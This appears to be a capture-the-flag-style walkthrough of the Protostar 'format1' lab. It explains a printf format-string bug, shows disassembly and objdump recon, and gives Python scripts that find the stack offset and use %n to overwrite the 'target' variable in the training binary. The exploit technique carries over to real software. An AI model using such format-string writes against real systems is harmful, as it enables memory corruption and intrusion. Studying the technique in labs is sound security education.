Format 1 (Format String Basic 1)
The goal of this challenge is to leverage format strings to modify arbitrary memory locations to print the winning statement.

Things to note
printf(string);: This is the vulnerable function in this code. Theprintf()will not check whether the supplied inputs expected format strings or not since it is coded to accept any string values. So what we can do is simply to verify if we can leak memory addresses and also write arbitrary code onto the stack ([READ]%p→ [WRITE]%n).if(target) {: Thetargetvariable is what we need to find. Then, by leveraging a Format String vulnerability, we will write the address onto the stack to print out the winning statement by specifying the right offset value.
Disassemble (GDB)
Let's disassemble the binary to see what is doing at the ASM-level:
$ gdb -q format1
Reading symbols from /opt/protostar/bin/format1...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble vuln
The program is pretty simple. One interesting thing is that mov eax,ds:0x8049638 moves the following address from the .bss (part of the .data segment) into EAX register.
Below is to dump the binary's headers using objdump:
$ objdump -h /opt/protostar/bin/format1
...(snip)...
23 .data 00000008 08049628 08049628 00000628 2**2
CONTENTS, ALLOC, LOAD, DATA
24 .bss 0000000c 08049630 08049630 00000630 2**2
ALLOC
...(snip)...Then, the test eax,eax creates a conditional jump by setting eflags value to ZF (=Zero Flag) if the EAX is equal to "0." If "0," it jumps; otherwise, it continues its execution flow.
Exploit
Initial Recon
As discussed, the vulnerable function is the printf(string). When we supply a random string, it just echoes back:

However, if we supply some format string parameters, we get interesting outputs 😮:

What this is doing is basically printing out some random addresses in stack memory. But more interesting thing is if we enter enough format string parameters, we can actually find the strings that we enter on the stack.
$ ./format1 $(python -c 'print "AAAA" + "%p|" * 156') && echo
To abuse this: (1) Find an offset where we can control → (2) Write an arbitrary code we wish to execute. In this case, we will just supply an address for target variable to print the winning statement.
Finding Offset
Let's write a quick python script to find the offset value:
[exploit.py] - Finding Offset
#!/usr/bin/python
import os
egg = "AAAA"
def desc():
print('[+] Running Simple Format String Spraying...')
print('[+] Setting Egg: {0}').format(egg.encode("hex"))
def spraying():
i = 1
while i < 200:
c = int(i)
p = '/opt/protostar/bin/format1 ' + egg + ("%p" * c) + "%p"
out = os.popen(p).read()
s = str(out)
if egg.encode("hex") in s:
print('[+] Egg found! ...{0}'.format(out[-30:]))
print('[+] Found Offset: {0}'.format(i))
break
else:
i += 1
continue
if __name__ == "__main__":
desc()
spraying()The script should be pretty much self-explanatory. When we run the script, we get the offset for 132.

Finding "target" Variable Address
$ objdump -t format1 |grep target
08049638 g O .bss 00000004 targetThe address for the target exists at 0x08049638. Convert the address into the little-endian format = \x38\x96\x04\x08.
Final Exploit
[exploit.py] - Final Exploit
#!/usr/bin/python
import os
egg = "\x38\x96\x04\x08" <-- Little-endian Formatted "target"
def desc():
print('[+] Running Simple Format String Spraying...')
print('[+] Setting Egg: {0}').format(egg.encode("hex"))
def spraying():
i = 1
while i < 200:
c = int(i)
p = '/opt/protostar/bin/format1 ' + egg + ("%p" * c) + "%p"
out = os.popen(p).read()
s = str(out)
if egg.encode("hex") in s:
print('[+] Egg found! ...{0}'.format(out[-30:]))
print('[+] Found Offset: {0}'.format(i))
break
else:
i += 1
continue
def win():
offset = int(132) <-- Found Offset Value
p = '/opt/protostar/bin/format1 '
p+= egg
p+= ("%p" * offset)
p+= "%n" <-- Write the number of char into pointers
out = os.popen(p).read()
s = str(out)
if "target" in s:
print('[+] Winning Statement: {0}'.format(out[-32:]))
exit(0)
else:
print('[-] Something Went Wrong...')
exit(1)
if __name__ == "__main__":
desc()
#spraying()
win()When we run the script, we get the beautiful winning statement:

Thanks for reading!
Next challenge:
- Format 2 — Format String Exploit: Basic 2
